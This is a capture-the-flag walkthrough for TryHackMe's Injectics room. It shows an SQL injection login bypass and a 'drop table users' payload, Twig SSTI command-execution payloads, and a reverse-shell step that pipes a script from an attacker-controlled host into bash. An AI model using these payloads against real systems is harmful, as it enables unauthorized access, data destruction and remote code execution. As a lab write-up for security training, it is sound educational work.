Understanding Injectics CTF

Capture The Flag (CTF) challenges like Injectics on TryHackMe provide hands-on experience in identifying and exploiting injection vulnerabilities in web applications. This guide covers a systematic approach to compromising a target system through SQL injection, Server-Side Template Injection (SSTI), and other techniques to gain administrative access and retrieve flags.

---

Key Concepts

• Initial Reconnaissance: Use tools like nmap to map open ports and services.
• Information Gathering: Analyze source code, hidden files, and logs for sensitive data.
• SQL Injection: Bypass weak input sanitization to manipulate database queries.
• Template Injection: Exploit SSTI to execute arbitrary commands on the server.
• Privilege Escalation: Gain reverse shell access to retrieve the final flag.

---

Step-by-Step Exploitation

1. Initial Reconnaissance

Start by scanning the target for open ports and services using nmap:

nmap -sC -sV -T4 XX.XX.XXX.XXX -oN initial

Scan Results:

PORT	STATE	SERVICE	VERSION
22	open	ssh	OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80	open	http	Apache httpd 2.4.41 ((Ubuntu))

Focus on Port 80: The web server (Apache) is the primary attack surface.

---

2. Information Gathering

Website Analysis

• Visit the web application on http://XX.XX.XXX.XXX.
• Inspect the source code for hidden clues (e.g., HTML comments).

Example:

<!-- Mails are stored in mail.log file -->

Access Sensitive Files

Navigate to http://XX.XX.XXX.XXX/mail.log to uncover credentials:

From: dev@injectics.thm
To: superadmin@injectics.thm
Subject: Update before holidays

[...]
Default credentials for emergency access:
| Email                     | Password              |
|---------------------------|-----------------------|
| superadmin@injectics.thm  | superSecurePasswd101  |
| dev@injectics.thm         | devPasswd123          |

Key Takeaway: Default credentials are auto-restored if the users table is corrupted.

---

3. SQL Injection

Bypassing Client-Side Sanitization

The login form blocks keywords like or, and, and quotes via JavaScript:

const invalidKeywords = ['or', 'and', 'union', 'select', '"', "'"];

Solution: Intercept the request with Burp Suite and inject a payload:

username=a' || 1=1 -- -&password=a&function=login

Result: Log in as admin without valid credentials.

Corrupting the Database

Use the admin dashboard to delete the users table:

rank=1&country=&gold=23;drop table users -- -&silver=21&bronze=12345

System Response: InjecticsService is running to restore the table. Please wait for 1-2 minutes.

Next Step: Log in with the default credentials from mail.log.

---

4. Server-Side Template Injection (SSTI)

Identifying SSTI

Test for template injection in the profile update form:

{{2*2}}

Output: Welcome, 4! (Confirms SSTI vulnerability).

Exploiting SSTI

Execute system commands using payloads like:

{{['id',""]|sort('passthru')}}

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data) Array!

---

5. Gaining Shell Access

Reverse Shell Payload

Use SSTI to execute a reverse shell:

{{['curl XX.XX.XX.XX/shell.sh|bash',""]|sort('passthru')}}

Note: Replace XX.XX.XX.XX with your listener IP and host shell.sh on a local server.

Expected Result: A reverse shell connection to retrieve the final flag.

---

Best Practices for Injection Attacks

• Input Sanitization: Always validate and sanitize user inputs to prevent SQLi/SSTI.
• Least Privilege: Restrict database and server permissions to minimize damage.
• Logging: Monitor and log suspicious activities (e.g., repeated failed login attempts).
• Regular Updates: Patch web servers and frameworks to mitigate known vulnerabilities.

---

Learn More

• TryHackMe: Explore Injection Challenges for hands-on practice.
• OWASP: Review the SQL Injection and SSTI guides.
• Tools: Master Burp Suite, sqlmap, and nmap for penetration testing.